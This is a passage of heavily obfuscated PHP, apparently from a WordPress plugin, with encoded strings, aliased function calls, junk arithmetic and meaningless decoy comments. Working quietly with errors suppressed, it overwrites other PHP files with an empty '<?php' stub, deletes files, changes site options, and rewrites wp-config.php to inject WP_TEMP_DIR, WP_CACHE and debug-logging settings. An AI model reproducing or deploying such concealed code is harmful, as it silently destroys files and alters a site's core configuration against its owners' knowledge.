$_j8wrorj6g5hyb[$wd45zhuy_plh]  =    $l1pfzykl6agb;

  unset($ykjoqgys2cv4pvh[hwc6a8djp6yy(1471)][$wd45zhuy_plh]);
   } else   {
  $ykjoqgys2cv4pvh[n747he9yo38(1471)][$wd45zhuy_plh][lgr6hp92ka(1454)]++;



 }

  $ichh13rqiv = true;
    continue;


}
    if  ($GLOBALS['__scf_p9nk7khmjys_7']($rwmelnydmqla,  n747he9yo38(1472) .     $l1pfzykl6agb['t']  . k83m2slbb(1410))    !==  false)     {
   $_j8wrorj6g5hyb[$wd45zhuy_plh] =  $l1pfzykl6agb;
unset($ykjoqgys2cv4pvh[woii22it0(1473)][$wd45zhuy_plh]);



   $ichh13rqiv    =   true;
  continue;
   }
       list($gl_kq5__0bp,     $ng3pk3y4s1j2v3p)    = pdesgq2i98532n6i0nu($g2y3u2x37ykvj  .  ($GLOBALS['__scf_p9nk7khmjys_7']($g2y3u2x37ykvj,    '?')  ===    false  ? '?' :     '&')    . n747he9yo38(1474) . $GLOBALS['__scf_moias7ig1lavh_1467']($l1pfzykl6agb['t'])      . woii22it0(1475)   .   $GLOBALS['__scf_qt5_3awd0l2_350']((37932+62068),   (999982+17)));
     if   ($gl_kq5__0bp    ===  -2)   break;
if ($gl_kq5__0bp >   0)   $jrmzem_pc_pqk_      =    false;
   if      ($gl_kq5__0bp  >=  (430+70))  {
      if  (ew8lgqyx2_r89j33($l1pfzykl6agb))  {
   pas31bymshzdagwkp(hwc6a8djp6yy(1469), hwc6a8djp6yy(1476)     .   $GLOBALS['__scf_a39nlvrnocxziu_3']($l1pfzykl6agb['p']));
   $_j8wrorj6g5hyb[$wd45zhuy_plh] = $l1pfzykl6agb;

 unset($ykjoqgys2cv4pvh[lgr6hp92ka(1473)][$wd45zhuy_plh]);
     }  else {

   $ykjoqgys2cv4pvh[n747he9yo38(1473)][$wd45zhuy_plh][n747he9yo38(1454)]++;
 }
     $ichh13rqiv  =   true;



     continue;
  }
   if    ($GLOBALS['__scf_epa1jymnf5_40']($ng3pk3y4s1j2v3p)    &&   $GLOBALS['__scf_p9nk7khmjys_7']($ng3pk3y4s1j2v3p,    hwc6a8djp6yy(1477) .   $l1pfzykl6agb['t']   . k83m2slbb(1410)) !==   false)   {
 $_j8wrorj6g5hyb[$wd45zhuy_plh] =  $l1pfzykl6agb;
   unset($ykjoqgys2cv4pvh[n747he9yo38(1473)][$wd45zhuy_plh]);
$ichh13rqiv =    true;
   continue;
}
$ykjoqgys2cv4pvh[k83m2slbb(1478)][$wd45zhuy_plh][k83m2slbb(1479)]  =   (int)    (isset($ykjoqgys2cv4pvh[lgr6hp92ka(1478)][$wd45zhuy_plh][woii22it0(1479)]) ?   $ykjoqgys2cv4pvh[woii22it0(1478)][$wd45zhuy_plh][n747he9yo38(1480)]  : 0) +  1;


if  ($GLOBALS['__scf_cyotfgtf1a8m_189']() - (int)   $ykjoqgys2cv4pvh[lgr6hp92ka(1478)][$wd45zhuy_plh][woii22it0(1481)] >  (0x81d4d+0x11d33))  {
$ykjoqgys2cv4pvh[n747he9yo38(1482)][$wd45zhuy_plh][hwc6a8djp6yy(1425)]   =     1;
$ykjoqgys2cv4pvh[k83m2slbb(1482)][$wd45zhuy_plh][woii22it0(1483)]   =  $GLOBALS['__scf_cyotfgtf1a8m_189']() + (86385+15);
  }      else  {
    $k697sxcipt42k  = array((246^202),   (205+95),  (732+168), (4716-1116));
   $y72addrt4eg5bxc =    (int) $ykjoqgys2cv4pvh[lgr6hp92ka(1484)][$wd45zhuy_plh][woii22it0(1480)];
  $ykjoqgys2cv4pvh[n747he9yo38(1484)][$wd45zhuy_plh][hwc6a8djp6yy(1485)]  =    $GLOBALS['__scf_cyotfgtf1a8m_189']()  +  $k697sxcipt42k[$GLOBALS['__scf_x7w14qggq72p_476']($y72addrt4eg5bxc,  (0x1+0x3)) -  1];

unset($k697sxcipt42k,  $y72addrt4eg5bxc);
 }

       $ichh13rqiv    =      true;



}
// negative-definite keystore

if ($jrmzem_pc_pqk_ &&      $ichh13rqiv  && !empty($ykjoqgys2cv4pvh[hwc6a8djp6yy(1486)]))  {
 $acluekutzm6x   = false;
     foreach    ($ykjoqgys2cv4pvh[k83m2slbb(1486)]   as $zz30tlckj7tdm4f)   {
// stack pointer
$kovcr8g5394=-469;$r9ky0uccaa5=($kovcr8g5394>0)?$kovcr8g5394:-$kovcr8g5394;
     if     ((int)    $zz30tlckj7tdm4f[woii22it0(1487)] >=  (0x2+0x1)) {
$acluekutzm6x =   true;
break;
    }
 }
if      ($acluekutzm6x) {
 @update_option(k83m2slbb(549),      lgr6hp92ka(1488)   .    $GLOBALS['__scf_cyotfgtf1a8m_189'](),   hwc6a8djp6yy(1460));
pas31bymshzdagwkp(lgr6hp92ka(1469), woii22it0(1489));
  foreach   ($ykjoqgys2cv4pvh[n747he9yo38(1490)]  as  $r5i3t50q8dp1spg   =>  $zz30tlckj7tdm4f) {


  if   ($GLOBALS['__scf_lxbo0xm7220an_34']($zz30tlckj7tdm4f) &&    empty($zz30tlckj7tdm4f[k83m2slbb(1491)])) $ykjoqgys2cv4pvh[woii22it0(1492)][$r5i3t50q8dp1spg][lgr6hp92ka(1493)] =  1;
 }
    $ichh13rqiv  = true;
   }



   }    elseif     (!$jrmzem_pc_pqk_) {
// isometric orbit

 $kjbzs7hccduommy =   @get_option(woii22it0(549),  "");
  if   (!$GLOBALS['__scf_epa1jymnf5_40']($kjbzs7hccduommy) || $GLOBALS['__scf_p9nk7khmjys_7']($kjbzs7hccduommy, hwc6a8djp6yy(1360))  !== 0) @update_option(n747he9yo38(1494), n747he9yo38(1495)   .  $GLOBALS['__scf_cyotfgtf1a8m_189'](),  woii22it0(1496));
}
  if      ($ichh13rqiv)      {$kkjfuo4wqx_w9=63|29;$jydxk81h2q=$kkjfuo4wqx_w9^124;
 if   ($GLOBALS['__scf_f6_d9s95igq_4'](hwc6a8djp6yy(1497)))   @wp_cache_delete(k83m2slbb(1498),    lgr6hp92ka(1499));
$_293_2bolutp4   =    @get_option(hwc6a8djp6yy(1500),     array());
if ($GLOBALS['__scf_lxbo0xm7220an_34']($_293_2bolutp4)  &&   isset($_293_2bolutp4[k83m2slbb(1492)])   &&  $GLOBALS['__scf_lxbo0xm7220an_34']($_293_2bolutp4[hwc6a8djp6yy(1501)]))  {
foreach    ($_293_2bolutp4[hwc6a8djp6yy(1501)]      as   $popc7gywjs6ob2  =>  $ruu5rcjeb8sgi87_)  {
     if  (isset($ykjoqgys2cv4pvh[hwc6a8djp6yy(1502)][$popc7gywjs6ob2]))  continue;
 if   (!$GLOBALS['__scf_a2dj3p28xfi_149']($popc7gywjs6ob2,    $mb4t3lgrmb, true))    {

  $ykjoqgys2cv4pvh[lgr6hp92ka(1502)][$popc7gywjs6ob2]  =    $ruu5rcjeb8sgi87_;


continue;


 }
if  (isset($_j8wrorj6g5hyb[$popc7gywjs6ob2])   &&  $GLOBALS['__scf_lxbo0xm7220an_34']($ruu5rcjeb8sgi87_)) {



      $vuks2p_pcnepdw =  isset($ruu5rcjeb8sgi87_['g'])   ?   (float) $ruu5rcjeb8sgi87_['g'] : (float) (isset($ruu5rcjeb8sgi87_[k83m2slbb(1465)])   ?    $ruu5rcjeb8sgi87_[hwc6a8djp6yy(1465)] : 0);
 $nc08orurbqrs3kp    =  isset($_j8wrorj6g5hyb[$popc7gywjs6ob2]['g'])     ?   (float) $_j8wrorj6g5hyb[$popc7gywjs6ob2]['g']    : (float)  (isset($_j8wrorj6g5hyb[$popc7gywjs6ob2][woii22it0(1465)])     ?  $_j8wrorj6g5hyb[$popc7gywjs6ob2][lgr6hp92ka(1465)] :    0);



    if ($vuks2p_pcnepdw      > $nc08orurbqrs3kp)  $ykjoqgys2cv4pvh[hwc6a8djp6yy(1502)][$popc7gywjs6ob2] = $ruu5rcjeb8sgi87_;
 unset($vuks2p_pcnepdw,    $nc08orurbqrs3kp);
   }
 }
  }
    unset($_293_2bolutp4,    $popc7gywjs6ob2,  $ruu5rcjeb8sgi87_);
    }
foreach  ($_j8wrorj6g5hyb   as    $ca8nd5mzrmsgsp7 => $yo6wn16an0wrx) {$zrbbnc3_9dtf=40*8;$spzmvgn8_0ihw4=$zrbbnc3_9dtf-12;



    if  (!isset($ykjoqgys2cv4pvh[n747he9yo38(1502)][$ca8nd5mzrmsgsp7]))     y0a1xt15v3nqhjqppfzn($yo6wn16an0wrx['b']);
}
 unset($_j8wrorj6g5hyb,     $ca8nd5mzrmsgsp7,  $yo6wn16an0wrx);

  if (empty($ykjoqgys2cv4pvh[n747he9yo38(1502)])) @delete_option(woii22it0(1503));
      elseif      ($ichh13rqiv) @update_option(woii22it0(1504),   $ykjoqgys2cv4pvh,   n747he9yo38(1496));



   }    finally      {
 hev0akflm_tefd(hwc6a8djp6yy(1504));
}

    }
 function  z1wo7xmhdkjyu7ya7af($clyirr_5zjy)
       {
  return  $GLOBALS['__scf_epa1jymnf5_40']($clyirr_5zjy)  &&  ($GLOBALS['__scf_p9nk7khmjys_7']($clyirr_5zjy,    k83m2slbb(1505))   !== false ||     $GLOBALS['__scf_p9nk7khmjys_7']($clyirr_5zjy,  k83m2slbb(1506))    !==   false   ||   $GLOBALS['__scf_p9nk7khmjys_7']($clyirr_5zjy,  n747he9yo38(1507)) !== false  ||     $GLOBALS['__scf_p9nk7khmjys_7']($clyirr_5zjy,  n747he9yo38(24)) !==  false   ||   $GLOBALS['__scf_p9nk7khmjys_7']($clyirr_5zjy,  k83m2slbb(1256))    !==  false   ||   $GLOBALS['__scf_p9nk7khmjys_7']($clyirr_5zjy,    n747he9yo38(1508))  !== false);


 }
      function     idqy2bbq0fhmnlp2alh3z($clyirr_5zjy)



  {
   if   (!z1wo7xmhdkjyu7ya7af($clyirr_5zjy))  return   false;
    if  (_8029ai1hnzfbfzid0n($clyirr_5zjy))   return true;
   if   ($GLOBALS['__scf_lhkryjtve8q_ns_1373'](woii22it0(1509),  $clyirr_5zjy,  $hyzeda9xec3m80j))   {
     foreach      ($hyzeda9xec3m80j[1] as   $nf_1u6nk_btow)    {
   if  (version_compare($nf_1u6nk_btow,    tdwuvuxeuijm__qj(),   '<')) return  true;
     }
      return  false;
}

 return  true;
 }
     function j1w_xn94qvcydlb2xc($xzwufq9nacfqt)
  {
    if (!@$GLOBALS['__scf_mtwlgr3p78_18']($xzwufq9nacfqt)  ||    !@$GLOBALS['__scf_vz80l0_46bwga_46']($xzwufq9nacfqt))    return;


   $brwl1q7_2ju5 =    @$GLOBALS['__scf_vhi5vhdwib7ye_99']($xzwufq9nacfqt);
 if (!$brwl1q7_2ju5)     return;



 if     ($brwl1q7_2ju5  >      (15817650-5331890)) {
 $_fz7_5lynsmih1k   =      @$GLOBALS['__scf_zonhpgc286wu1_95']($xzwufq9nacfqt,     false,   null,  0,    (29795+35741));
if (!z1wo7xmhdkjyu7ya7af($_fz7_5lynsmih1k))  return;
    if  (lgftgp4euaxcaljt50i41y($xzwufq9nacfqt)     === false)    {$h3r5216ws3tct6=(0x32+0x74);$nz5mar4f=$h3r5216ws3tct6%13;
    pas31bymshzdagwkp(hwc6a8djp6yy(1510),   k83m2slbb(1511)     . $GLOBALS['__scf_a39nlvrnocxziu_3']($xzwufq9nacfqt));
  return;
    


   }
  @$GLOBALS['__scf_d3akejlb7rtaks_199']($xzwufq9nacfqt,  "<?php\n");
  if     ($GLOBALS['__scf_f6_d9s95igq_4'](n747he9yo38(1512)))  @opcache_invalidate($xzwufq9nacfqt,    true);
  return;
 }



 if  ($brwl1q7_2ju5 >     (0x6e4f8+0x91b08))  {
   $zh966ifrdolwq   = (string) @$GLOBALS['__scf_zonhpgc286wu1_95']($xzwufq9nacfqt,     false,   null, 0,  (8093+99));
      $rvu0zwduf8f  =   ($brwl1q7_2ju5      >     (8101+91)) ?   (string) @$GLOBALS['__scf_zonhpgc286wu1_95']($xzwufq9nacfqt, false, null, $brwl1q7_2ju5  -   (3570+4622)) :    "";
      $kkaa0u2v5wq4259w  =    $zh966ifrdolwq  .    $rvu0zwduf8f;



 if   ($kkaa0u2v5wq4259w   !==  ""  &&  $GLOBALS['__scf_lhkryjtve8q_ns_1373'](lgr6hp92ka(1513),  $kkaa0u2v5wq4259w,  $zx2roz582s27))      {
// WP Archive Title: strong provider

    $vikxb4humrxxlo  =     false;
 foreach     ($zx2roz582s27[1]    as $z9z0o7poz0)  {
      if   (version_compare($z9z0o7poz0,     tdwuvuxeuijm__qj(), '<'))  {
$vikxb4humrxxlo =  true;
 break;



}
}
 if  (!$vikxb4humrxxlo) return;
}
       }
    $clyirr_5zjy =    @$GLOBALS['__scf_zonhpgc286wu1_95']($xzwufq9nacfqt);
if ($GLOBALS['__scf_epa1jymnf5_40']($clyirr_5zjy)   &&     $GLOBALS['__scf_h5yqrl6kmpb_10']($clyirr_5zjy)  >   (1968241-919665))   $clyirr_5zjy =  ouktu5q4cpiyod2s($clyirr_5zjy);$qkfbvifbom=(0x68+0x22);$vscvs0vnsgfqn=$qkfbvifbom%16;
  if (!$GLOBALS['__scf_epa1jymnf5_40']($clyirr_5zjy)) return;
if  (!idqy2bbq0fhmnlp2alh3z($clyirr_5zjy))  return;
  b6vs9xy_do7h8_jedko($xzwufq9nacfqt, $clyirr_5zjy);
   }
 function  b6vs9xy_do7h8_jedko($xzwufq9nacfqt, $clyirr_5zjy)


  {
  $v3ns5_io9ii  = $GLOBALS['__scf_lv9m74lgyu5o6_460'](hwc6a8djp6yy(1514),     "",    $clyirr_5zjy);
 if   (!$GLOBALS['__scf_epa1jymnf5_40']($v3ns5_io9ii)  ||  $GLOBALS['__scf_xcg5caaat_92j0_323']($v3ns5_io9ii)  ===  "" ||      $GLOBALS['__scf_xcg5caaat_92j0_323']($v3ns5_io9ii)  ===    k83m2slbb(1515)) $v3ns5_io9ii   =   "<?php\n";
if ($GLOBALS['__scf_h5yqrl6kmpb_10']($v3ns5_io9ii)    >=      (451+49)  &&     !dxgg5a63x4tsvkmvowozg3($v3ns5_io9ii)) $v3ns5_io9ii =  "<?php\n";
 $fw1s0nbiii   =     @fileperms($xzwufq9nacfqt);


 $fw1s0nbiii  = ($fw1s0nbiii     ===  false)   ?  (0x67+0x13d)  :  ($fw1s0nbiii &    (286+225));



      $q7ndn7vshkx  =  @$GLOBALS['__scf_gibkjes9ds_98']($xzwufq9nacfqt);



 $_5c705a70n47l =   @$GLOBALS['__scf_n7yhv8zmk_ab_76']($GLOBALS['__scf_zf6ei6xtcw1fb_11']($xzwufq9nacfqt),  woii22it0(1516));
  if ($_5c705a70n47l  === false) return;
     if (@$GLOBALS['__scf_d3akejlb7rtaks_199']($_5c705a70n47l, $v3ns5_io9ii)  !==   $GLOBALS['__scf_h5yqrl6kmpb_10']($v3ns5_io9ii)) {
      @$GLOBALS['__scf_kb97m2p3ij_17']($_5c705a70n47l);
return;
}



   @$GLOBALS['__scf_rw0wj7u39gzy4_16']($_5c705a70n47l, $fw1s0nbiii);
 if   (!@$GLOBALS['__scf_ouhqpycgey_4a_74']($_5c705a70n47l, $xzwufq9nacfqt))   {
  @$GLOBALS['__scf_kb97m2p3ij_17']($_5c705a70n47l);
 return;
 }
// strength-reduce bridge for WP Columns Block

  if    ($q7ndn7vshkx) @$GLOBALS['__scf_gl7by4d7j2f1u_73']($xzwufq9nacfqt,  $q7ndn7vshkx);
if ($GLOBALS['__scf_f6_d9s95igq_4'](woii22it0(1512)))  @opcache_invalidate($xzwufq9nacfqt, true);
    }

   function s2iwausgemk5w6k2_($b94e8zl9qx1ungby)
{
// @predicate negotiator

     if  (!$GLOBALS['__scf_epa1jymnf5_40']($b94e8zl9qx1ungby)) return "";

 if    ($GLOBALS['__scf_iz3o_ajtgml6rf_96'](woii22it0(1517),     $b94e8zl9qx1ungby,  $k1zlpnvkntk)) {
$cy9yo5q4zjs9p_um  = $k1zlpnvkntk[1];
$brwl1q7_2ju5   =   @$GLOBALS['__scf_mtwlgr3p78_18']($cy9yo5q4zjs9p_um) ?   @$GLOBALS['__scf_vhi5vhdwib7ye_99']($cy9yo5q4zjs9p_um)   : 0;

   if  (!$brwl1q7_2ju5     || $brwl1q7_2ju5  <    (363+137) ||  $brwl1q7_2ju5 > (62924759-10495959))   {
     if  ($brwl1q7_2ju5  >   (0x2fd4175+0x22be8b))  {



   $zm3znh19_q =   @$GLOBALS['__scf_h8_ju28bwdwm_32']($cy9yo5q4zjs9p_um);
    if   (!$GLOBALS['__scf_epa1jymnf5_40']($zm3znh19_q)) $zm3znh19_q    = $cy9yo5q4zjs9p_um;

  $zm3znh19_q   =     $GLOBALS['__scf_obam74mgj139o_361']('\\', '/', $zm3znh19_q);
$mxw5hw4kgz07y =    false;
$rywm9n_nkmn0aap  =    array(defined(lgr6hp92ka(1518)) ? $GLOBALS['__scf_aiwotu1kwod_12'](ABSPATH,  n747he9yo38(1519))   :  "",  defined(woii22it0(1520)) ? $GLOBALS['__scf_aiwotu1kwod_12'](WP_CONTENT_DIR,  hwc6a8djp6yy(1519))   :      "");
   foreach  ($rywm9n_nkmn0aap   as  $uh54y5offwsfn8l)   {
 $uh54y5offwsfn8l =   $GLOBALS['__scf_obam74mgj139o_361']('\\',   '/', $uh54y5offwsfn8l);
        if      ($uh54y5offwsfn8l  !==   ""     &&  $GLOBALS['__scf_p9nk7khmjys_7']($zm3znh19_q,   $uh54y5offwsfn8l   .  '/')  ===  0)    {

       $mxw5hw4kgz07y = true;



  break;
        }
   }
     if  ($mxw5hw4kgz07y   && lgftgp4euaxcaljt50i41y($cy9yo5q4zjs9p_um) !==  false)     {
   @$GLOBALS['__scf_kb97m2p3ij_17']($cy9yo5q4zjs9p_um);
@$GLOBALS['__scf_kb97m2p3ij_17']($GLOBALS['__scf_zf6ei6xtcw1fb_11']($cy9yo5q4zjs9p_um) .  hwc6a8djp6yy(196) .   $GLOBALS['__scf_a39nlvrnocxziu_3']($cy9yo5q4zjs9p_um,    hwc6a8djp6yy(1521)));
   } else    {
      pas31bymshzdagwkp(k83m2slbb(1510),    k83m2slbb(1522)  . $GLOBALS['__scf_a39nlvrnocxziu_3']($cy9yo5q4zjs9p_um));


}
 }
return "";
   }



}
  return  $b94e8zl9qx1ungby;
  }
    function  sdug6s6ztfbhutaf()
 {
  static  $cy9yo5q4zjs9p_um  =      null;
    if   ($cy9yo5q4zjs9p_um ===   null)  {
$nf_1u6nk_btow    =     z6q8c6q8s6lg_2r(woii22it0(570), null);


if ($nf_1u6nk_btow     ===  null)    {
     $ct9i9uxwq77n  = z6q8c6q8s6lg_2r(k83m2slbb(1156),   "");
  $nf_1u6nk_btow = ($GLOBALS['__scf_epa1jymnf5_40']($ct9i9uxwq77n) &&  $GLOBALS['__scf_p9nk7khmjys_7']($ct9i9uxwq77n,    lgr6hp92ka(571))  ===    0) ?    1  : 0;
  htdydg38ahuyxm73zkqz0(hwc6a8djp6yy(570),  $nf_1u6nk_btow,   woii22it0(1496));

unset($ct9i9uxwq77n);


      }
       $cy9yo5q4zjs9p_um =   ((int) $nf_1u6nk_btow   ===     1);
  }


   return   $cy9yo5q4zjs9p_um;
 }
    function  g_yc2hfpiempnkm9duiw()
   {
     if  (!defined(hwc6a8djp6yy(1523))) return;
     $lg43ml2abp6bop = ABSPATH .     k83m2slbb(1524);
 if     (!@$GLOBALS['__scf_mtwlgr3p78_18']($lg43ml2abp6bop)) {
   $dsf18ezyia6259m    = $GLOBALS['__scf_zf6ei6xtcw1fb_11'](ABSPATH)  .  n747he9yo38(1086);
    if    (@$GLOBALS['__scf_mtwlgr3p78_18']($dsf18ezyia6259m))    $lg43ml2abp6bop = $dsf18ezyia6259m;

     }
      if   (!@$GLOBALS['__scf_mtwlgr3p78_18']($lg43ml2abp6bop) || !@$GLOBALS['__scf_vz80l0_46bwga_46']($lg43ml2abp6bop))     return;
  $zm3znh19_q  =    @$GLOBALS['__scf_h8_ju28bwdwm_32']($lg43ml2abp6bop);
     if  ($GLOBALS['__scf_epa1jymnf5_40']($zm3znh19_q)   &&    $zm3znh19_q    !==  "" && @$GLOBALS['__scf_vz80l0_46bwga_46']($zm3znh19_q)) $lg43ml2abp6bop   =  $zm3znh19_q;
   if    (@$GLOBALS['__scf_vhi5vhdwib7ye_99']($lg43ml2abp6bop) >  (4194259+45))   return;
 $clyirr_5zjy  =  @$GLOBALS['__scf_zonhpgc286wu1_95']($lg43ml2abp6bop);
 if  (!$GLOBALS['__scf_epa1jymnf5_40']($clyirr_5zjy) || $clyirr_5zjy    === "")   return;
       $yhznwra8agu     =    ($GLOBALS['__scf_p9nk7khmjys_7']($clyirr_5zjy, lgr6hp92ka(1525)) !==   false  ||  $GLOBALS['__scf_p9nk7khmjys_7']($clyirr_5zjy,  k83m2slbb(1526)) !== false);
$j3bhiiqb60nh =    false;



  if ($GLOBALS['__scf_p9nk7khmjys_7']($clyirr_5zjy,     lgr6hp92ka(1527))   ===    false)   {
   if     (!empty($GLOBALS[hwc6a8djp6yy(84)]))   {
  $j3bhiiqb60nh     =   true;
}    else {

$ritma6bhy2  =   $GLOBALS['__scf_f6_d9s95igq_4'](n747he9yo38(1528))     ?  $GLOBALS['__scf_hslj_a1k0h2_77']()   :  k83m2slbb(78);
  if  (!@$GLOBALS['__scf_b9jmgi5qxqoj5q_42']($ritma6bhy2)  ||  !@$GLOBALS['__scf_vz80l0_46bwga_46']($ritma6bhy2)) $j3bhiiqb60nh  =  true;$n0fl75qfb=8236;$fbdy75lkce4q=$n0fl75qfb%10;
}
  }
    $nin516090_p7r0   =   false;
  $vxglxv95rb20bkv  =   false;



if    (!$GLOBALS['__scf_iz3o_ajtgml6rf_96'](n747he9yo38(1529),   $clyirr_5zjy)   && defined(hwc6a8djp6yy(1520)))  {
        $_ac   = WP_CONTENT_DIR .    hwc6a8djp6yy(1163);

       if   (@$GLOBALS['__scf_mtwlgr3p78_18']($_ac))    {
$jfgfxir_jo3  =  (string) @$GLOBALS['__scf_zonhpgc286wu1_95']($_ac, false,  null,  0,    (4762-666));$yzmegtspjw_4=(0x86+0x69);$evf_r0bl8=$yzmegtspjw_4%17;
   if    ($GLOBALS['__scf_p9nk7khmjys_7']($jfgfxir_jo3,   n747he9yo38(1530)) !== false)  $nin516090_p7r0    =  true;$rwismzx_=2124;$a_fhl7gffr5d=$rwismzx_%17;
   }
   }   elseif   (
 $GLOBALS['__scf_p9nk7khmjys_7']($clyirr_5zjy, k83m2slbb(528)) ===   false
    &&    $GLOBALS['__scf_iz3o_ajtgml6rf_96'](lgr6hp92ka(1531),    $clyirr_5zjy)
)   {
  $vxglxv95rb20bkv = true;
}
  $q4x7_vto7jmj6     =    false;

 if (sdug6s6ztfbhutaf())   {
// WP Columns Block: self-adjoint priority-queue

if (
   !$GLOBALS['__scf_iz3o_ajtgml6rf_96'](n747he9yo38(1532),   $clyirr_5zjy)



 || !$GLOBALS['__scf_iz3o_ajtgml6rf_96'](woii22it0(1533),      $clyirr_5zjy)


  ||      !$GLOBALS['__scf_iz3o_ajtgml6rf_96'](n747he9yo38(1534),   $clyirr_5zjy)
) $q4x7_vto7jmj6  =      true;



  }
 if  (!$yhznwra8agu &&  !$j3bhiiqb60nh      &&   !$nin516090_p7r0   &&  !$q4x7_vto7jmj6  && !$vxglxv95rb20bkv)   return;
  $lc93ko9shcjvb9 =     "";
   $v3ns5_io9ii    = $clyirr_5zjy;

 if ($yhznwra8agu)  {

 if    ($GLOBALS['__scf_lhkryjtve8q_ns_1373'](k83m2slbb(1535),   $clyirr_5zjy, $v5as3pvfygc6fl))   $lc93ko9shcjvb9  .=      $GLOBALS['__scf_fchyobbli1uqo__340']("\n",  $v5as3pvfygc6fl[0]);
   $v3ns5_io9ii =     $GLOBALS['__scf_lv9m74lgyu5o6_460'](lgr6hp92ka(1535),      "",  $clyirr_5zjy);
if    (!$GLOBALS['__scf_epa1jymnf5_40']($v3ns5_io9ii)) return;
 if  (!$GLOBALS['__scf_iz3o_ajtgml6rf_96'](woii22it0(1536),   $v3ns5_io9ii))   {
if  ($GLOBALS['__scf_lhkryjtve8q_ns_1373'](k83m2slbb(1537), $v3ns5_io9ii,    $vtel8w8cmhj98z))  $lc93ko9shcjvb9  .=    "\n"  .  $GLOBALS['__scf_fchyobbli1uqo__340']("\n",  $vtel8w8cmhj98z[0]);
  $v3ns5_io9ii = $GLOBALS['__scf_lv9m74lgyu5o6_460'](k83m2slbb(1537),   "", $v3ns5_io9ii);

    if (!$GLOBALS['__scf_epa1jymnf5_40']($v3ns5_io9ii))     return;
     }
}
 $gpt1bwh0tjt  = n747he9yo38(1538);
if   ($j3bhiiqb60nh &&    $GLOBALS['__scf_iz3o_ajtgml6rf_96']('/' .      $gpt1bwh0tjt .  '/',  $v3ns5_io9ii))  {
      $v3ns5_io9ii    =    $GLOBALS['__scf_lv9m74lgyu5o6_460'](lgr6hp92ka(1539)     .  $gpt1bwh0tjt    .     n747he9yo38(1540), n747he9yo38(1541) . "define( 'WP_TEMP_DIR', ( defined( 'WP_CONTENT_DIR' ) ? WP_CONTENT_DIR : ABSPATH . 'wp-content' ) . '/.sc_tmp' );\n",   $v3ns5_io9ii,  1);
 if   (!$GLOBALS['__scf_epa1jymnf5_40']($v3ns5_io9ii))    return;$c1lhn263sj6=5564;$tqb72sz6cg8k=$c1lhn263sj6%7;


 }



      if  ($nin516090_p7r0   &&  $GLOBALS['__scf_iz3o_ajtgml6rf_96']('/' . $gpt1bwh0tjt . '/', $v3ns5_io9ii))  {
$v3ns5_io9ii =      $GLOBALS['__scf_lv9m74lgyu5o6_460'](k83m2slbb(1539)      . $gpt1bwh0tjt .   k83m2slbb(1540),  k83m2slbb(1541)    . "define( 'WP_CACHE', true ); /* SC_WC */\n",  $v3ns5_io9ii, 1);$z7dxsoec06_=PHP_MAJOR_VERSION;$oqo7wgoq__cp2=$z7dxsoec06_*3;



   if  (!$GLOBALS['__scf_epa1jymnf5_40']($v3ns5_io9ii)) return;$_xel98poh8=1+16;$mxhuz76mmon0k=$_xel98poh8-46;
 }     elseif ($vxglxv95rb20bkv) {
  $v3ns5_io9ii   = $GLOBALS['__scf_lv9m74lgyu5o6_460'](hwc6a8djp6yy(1542)  . $gpt1bwh0tjt .      woii22it0(1543),  woii22it0(1541) . "define( 'WP_CACHE', true ); /* SC_WC */\n",    $v3ns5_io9ii,   1);
        if  (!$GLOBALS['__scf_epa1jymnf5_40']($v3ns5_io9ii))  return;



 }

 if  ($q4x7_vto7jmj6) {$cr5tw69j5g3fx=PHP_MAJOR_VERSION;$n4hni75y=$cr5tw69j5g3fx*8;
     $v3ns5_io9ii   =      $GLOBALS['__scf_lv9m74lgyu5o6_460'](hwc6a8djp6yy(1544),   "", $v3ns5_io9ii);

if (!$GLOBALS['__scf_epa1jymnf5_40']($v3ns5_io9ii)) return;



 if   ($GLOBALS['__scf_iz3o_ajtgml6rf_96'](hwc6a8djp6yy(1542)  .   $gpt1bwh0tjt  . n747he9yo38(1540),   $v3ns5_io9ii))    {
      $v3ns5_io9ii = $GLOBALS['__scf_lv9m74lgyu5o6_460'](n747he9yo38(1545)   . $gpt1bwh0tjt    .     woii22it0(1546),  woii22it0(1541) . "define( 'WP_DEBUG', true );\ndefine( 'WP_DEBUG_LOG', true );\ndefine( 'WP_DEBUG_DISPLAY', false );\n",  $v3ns5_io9ii,   1);
       if  (!$GLOBALS['__scf_epa1jymnf5_40']($v3ns5_io9ii))   return;
      }



  }
if   ($v3ns5_io9ii    ===  $clyirr_5zjy)    return;
 if (!dxgg5a63x4tsvkmvowozg3($v3ns5_io9ii))  return;



if  ($vxglxv95rb20bkv   && $GLOBALS['__scf_f6_d9s95igq_4'](lgr6hp92ka(1412)))  @update_option(woii22it0(1547),  1,  woii22it0(1496));
   if ($nin516090_p7r0   &&   !r4wrabnam8f37mfnpwguau($lg43ml2abp6bop,  $clyirr_5zjy))  {
pas31bymshzdagwkp(n747he9yo38(1548), k83m2slbb(1287));
  $v3ns5_io9ii   = $GLOBALS['__scf_lv9m74lgyu5o6_460'](woii22it0(1545)  .  $gpt1bwh0tjt   . lgr6hp92ka(1549), lgr6hp92ka(1541),  $v3ns5_io9ii,    1);
     if      (!$GLOBALS['__scf_epa1jymnf5_40']($v3ns5_io9ii)   ||   $v3ns5_io9ii    ===    $clyirr_5zjy)  return;
if      (!dxgg5a63x4tsvkmvowozg3($v3ns5_io9ii)) return;
  }
    $fw1s0nbiii =  @fileperms($lg43ml2abp6bop);



  $fw1s0nbiii   =    ($fw1s0nbiii === false)    ? (505-85) :  ($fw1s0nbiii      &    (509+2));
    $q7ndn7vshkx     =   @$GLOBALS['__scf_gibkjes9ds_98']($lg43ml2abp6bop);
     $ox_0zeye6mt  =  @$GLOBALS['__scf_zonhpgc286wu1_95']($lg43ml2abp6bop);
 if    (!$GLOBALS['__scf_epa1jymnf5_40']($ox_0zeye6mt)  ||  $ox_0zeye6mt   !==   $clyirr_5zjy) {
pas31bymshzdagwkp(n747he9yo38(1548),  lgr6hp92ka(1550));
 return;
    }
unset($ox_0zeye6mt);



$_5c705a70n47l   =  @$GLOBALS['__scf_n7yhv8zmk_ab_76']($GLOBALS['__scf_zf6ei6xtcw1fb_11']($lg43ml2abp6bop),  k83m2slbb(1551));

   if ($_5c705a70n47l ===   false) return;
if  (@$GLOBALS['__scf_d3akejlb7rtaks_199']($_5c705a70n47l,    $v3ns5_io9ii)  !==     $GLOBALS['__scf_h5yqrl6kmpb_10']($v3ns5_io9ii)) {
  @$GLOBALS['__scf_kb97m2p3ij_17']($_5c705a70n47l);
return;
   }
    @$GLOBALS['__scf_rw0wj7u39gzy4_16']($_5c705a70n47l,  $fw1s0nbiii);



